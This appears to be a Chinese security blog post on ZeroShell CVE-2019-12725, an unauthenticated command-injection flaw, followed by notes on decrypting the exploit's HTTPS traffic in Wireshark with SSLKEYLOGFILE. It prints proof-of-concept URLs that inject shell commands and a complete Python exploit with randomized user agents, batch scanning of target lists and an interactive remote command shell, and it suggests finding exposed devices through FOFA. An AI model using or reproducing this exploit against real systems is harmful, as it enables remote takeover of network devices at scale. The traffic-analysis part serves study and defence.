漏洞详情

Zeroshell 是一个微型的linux发行版本,它功能强大,具有强大的router、radius、web门户、防火墙、virtual、Qos、 DHCP、dns转发等功能,可以用来安装到服务器上为内网提供网络服务,而且安装和使用都很方便,有U盘,Live CD和Flash imgage文件用于安装,可以使用web界面进行设置和管理。想自己部署软路由,又不想编译,找驱动程序,或者别人编译的固件有后门,可以考虑用Zeroshell替代Openwrt/LEDE。

总的来说Zeroshell的特性包括:

  • 负载均衡及多网络连接的失效转移,通过3G调制解调器的UMTS/HSDPA连接

  • 用于提供安全认证和无线网络加密密钥自动管理的RADIUS服务器

  • 用于支持网页登录的强制网络门户(商场和酒店等商用场景)


影响版本

ZeroShell < 3.9.0

验证POC

/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27
/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A<cmd>%0A%27

复现

fofa搜索,找到网络中该设备

exp

python3 CVE-2019-12725.py -u http://127.0.0.1:1111 单个url测试

python3 CVE-2019-12725.py -c http://127.0.0.1:1111 cmdshell模式

python3 CVE-2019-12725.py -f url.txt 批量检测

import requests
import re
import sys
import urllib3
from argparse import ArgumentParser
import threadpool
from urllib import parse
from time import time
import random


urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
filename = sys.argv[1]
url_list=[]

#随机ua
def get_ua():
    first_num = random.randint(55, 62)
    third_num = random.randint(0, 3200)
    fourth_num = random.randint(0, 140)
    os_type = [
        '(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)',
        '(Macintosh; Intel Mac OS X 10_12_6)'
    ]
    chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)

    ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
                   '(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
                  )
    return ua


def check_vuln(url):
    url = parse.urlparse(url)
    url2=url.scheme + '://' + url.netloc 
    headers = {
        'User-Agent': get_ua(),
    }
    # data=base64.b64encode("eyJzZXQtcHJvcGVydHkiOnsicmVxdWVzdERpc3BhdGNoZXIucmVxdWVzdFBhcnNlcnMuZW5hYmxlUmVtb3RlU3RyZWFtaW5nIjp0cnVlfX0=")
    try:
        res2 = requests.get(url2 + '/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27',headers=headers,timeout=10,verify=False)
        if res2.status_code==200 and "uid" in res2.text:
            print("\033[32m[+]%s is vuln\033[0m" %url2)
            return 1
        else:
            print("\033[31m[-]%s is not vuln\033[0m" %url1)
    except Exception as e:
        print("\033[31m[-]%s is timeout\033[0m" %url2)


#cmdshell
def cmdshell(url):
    if check_vuln(url)==1:
        url = parse.urlparse(url)
        url1 = url.scheme + '://' + url.netloc + '/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A'
        while 1:
            shell = input("\033[35mcmd: \033[0m")
            if shell =="exit":
                sys.exit(0)
            else:
                headers = {
                    'User-Agent': get_ua(),
                    }
                try:
                    res = requests.get(url1 + shell + '%0A%27',headers=headers,timeout=10,verify=False)
                    if res.status_code==200 and len(res.text) != 0:
                        vulntext=res.text.split('<html>')
                        print("\033[32m%s\033[0m" %vulntext[0])
                    else:
                        print("\033[31m[-]%s Command execution failed !\033[0m" %url1)
                except Exception as e:
                    print("\033[31m[-]%s is timeout!\033[0m" %url1)


#多线程
def multithreading(url_list, pools=5):
    works = []
    for i in url_list:
        # works.append((func_params, None))
        works.append(i)
    # print(works)
    pool = threadpool.ThreadPool(pools)
    reqs = threadpool.makeRequests(check_vuln, works)
    [pool.putRequest(req) for req in reqs]
    pool.wait()


if __name__ == '__main__':
    show = r'''
     _____ _   _ _____       _____  _____  __   _____        __   _____  ___________  _____ 
    /  __ \ | | |  ___|     / __  \|  _  |/  | |  _  |      /  | / __  \|___  / __  \|  ___|
    | /  \/ | | | |__ ______`' / /'| |/' |`| | | |_| |______`| | `' / /'   / /`' / /'|___ \ 
    | |   | | | |  __|______| / /  |  /| | | | \____ |______|| |   / /    / /   / /      \ \
    | \__/\ \_/ / |___      ./ /___\ |_/ /_| |_.___/ /      _| |_./ /___./ /  ./ /___/\__/ /
     \____/\___/\____/      \_____/ \___/ \___/\____/       \___/\_____/\_/   \_____/\____/ 
                                                                                        
                                                                                                                                                                                                                  
                                                                                                      
                                                           CVE-2019-12725 By m2
    '''
    print(show + '\n')
    arg=ArgumentParser(description='CVE-2019-12725 By m2')
    arg.add_argument("-u",
                        "--url",
                        help="Target URL; Example:http://ip:port")
    arg.add_argument("-f",
                        "--file",
                        help="Target URL; Example:url.txt")
    arg.add_argument("-c",
                    "--cmd",
                    help="Target URL; Example:http://ip:port")
    args=arg.parse_args()
    url=args.url
    filename=args.file
    cmd=args.cmd
    print('[*]任务开始...')
    if url != None and cmd == None and filename == None:
        check_vuln(url)
    elif url == None and cmd == None and filename != None:
        start=time()
        for i in open(filename):
            i=i.replace('\n','')
            check_vuln(i)
        end=time()
        print('任务完成,用时%d' %(end-start))
    elif url == None and cmd != None and filename == None:
        cmdshell(cmd)


流量分析

由于是https协议,wireshark抓包后都是加密流量,需要对流量进行解密。

原理

SSL/TLS的整个握手过程:

  • Clienthello:发送客户端的功能和首选项给服务器,在连接建立后,当希望重协商、或者响应服务器的重协商请求时会发送。
    • version:客户端支持的最佳协议版本
    • Random:共32字节,28字节随机数,4字节额外信息,受客户端时钟影响(为了避免浏览器指纹采集,现在一般会对4字节时钟做扭曲)
    • Session ID:32字节随机数,用于和服务器重建会话,为空表示新建会话
    • cipher suit:客户端支持的所有密码套件,按优先级排列
    • Compression:客户端支持的压缩算法,默认无压缩
    • Extensions:由任意数量的扩展组成,携带额外数据
  • ServerHello:
    • 选择客户端提供的参数反馈客户端
    • 服务器无需支持客户端支持的最佳版本,如果服务器不支持客户端版本,可以提供其他版本以期待客户端可以接受
  • Certificate:
    • 用于携带服务器X.509证书链
    • 主证书必须第一个发送,中间证书按照正确的顺序跟在主证书之后
    • 服务器必须保证发送的证书和选择的算法套件一致
    • Certificate消息时可选的
  • ServerKeyExchange: 携带密钥交换的额外数据,取决于加密套件
  • ServerHelloDone:服务器已将所有预计的握手消息发送完毕
  • ClientkeyExchange:携带客户端为密钥交换提供的信息
  • ChangeCipherSpec:发送端已取得用以连接参数的足够的信息
  • Finish:握手完成,消息内容加密,双方可以交换验证,整个握手完整性所需的数据
    • 算法:verrify_data = PRF(master_secret , finished_label,hash(handshake_message))

破解方式

要解密HTTPS流量,需要得到加密密钥,加密密钥由主密钥、客户端随机数、服务器随机数生成。由上述握手过程可知,客户端随机数和服务器随机数在双方握手消息中传递,而主密钥(master_secret)则由预主密钥(pre_master_secret)结合两个随机数生成。预主密钥通过密码套件中的密钥交换算法进行交换(DH、RSA)。

因此,通过Wireshark解密HTTPS,可以从两个地方下手:

  1. 密钥交换算法选择RSA,然后提取服务器的私钥,将私钥导入Wireshark,通过Wireshark解密密钥交换过程中传递的预主密钥,再结合之前的客户端和服务器随机数生成主密钥,进一步生成加密密钥,即可解密后续抓取到的加密报文。
  2. 直接从客户端提取预主密钥,结合客户端和服务器随机数生成加密密钥,实现对加密报文的解密。

方法一

方法二

mkdir ~/tls && touch ~/tls/sslkeylog.log

#zsh
echo "\nexport SSLKEYLOGFILE=~/tls/sslkeylog.log" >> ~/.zshrc && source ~/.zshrc

#bash
echo "\nexport SSLKEYLOGFILE=~/tls/sslkeylog.log" >> ~/.bash_profile && . ~/.bash_profile

让Wireshark读取密钥文件

WiresharkSSL 配置面板的 「(Pre)-Master-Secret log filename」选项中这个文件选上(编辑->=首选项->协议)。如下图

在这里插入图片描述

注意,这是老版本的wireshark,如果发现没有SSL选项,则选择TLS,新版本的是TLS;但是配置是一样的;

SSL debug file」也建议配上,这样解密过程中的日志都会记录下来,便于调试。

新版 Wireshark 在配置了 TLS 加密后,会自动识别并解析 HTTPS 流量。访问想要抓包的 HTTPS 网站,根据 IP 和协议过滤一下,就可以轻松看到想要的 HTTPS 数据包了。


配置好密钥之后,重新抓取。

解密成功

follow http

参考文章

https://github.com/MzzdToT/CVE-2019-12725

https://www.csdn.net/tags/MtTaMg1sMzE3MzU3LWJsb2cO0O0O.html

评论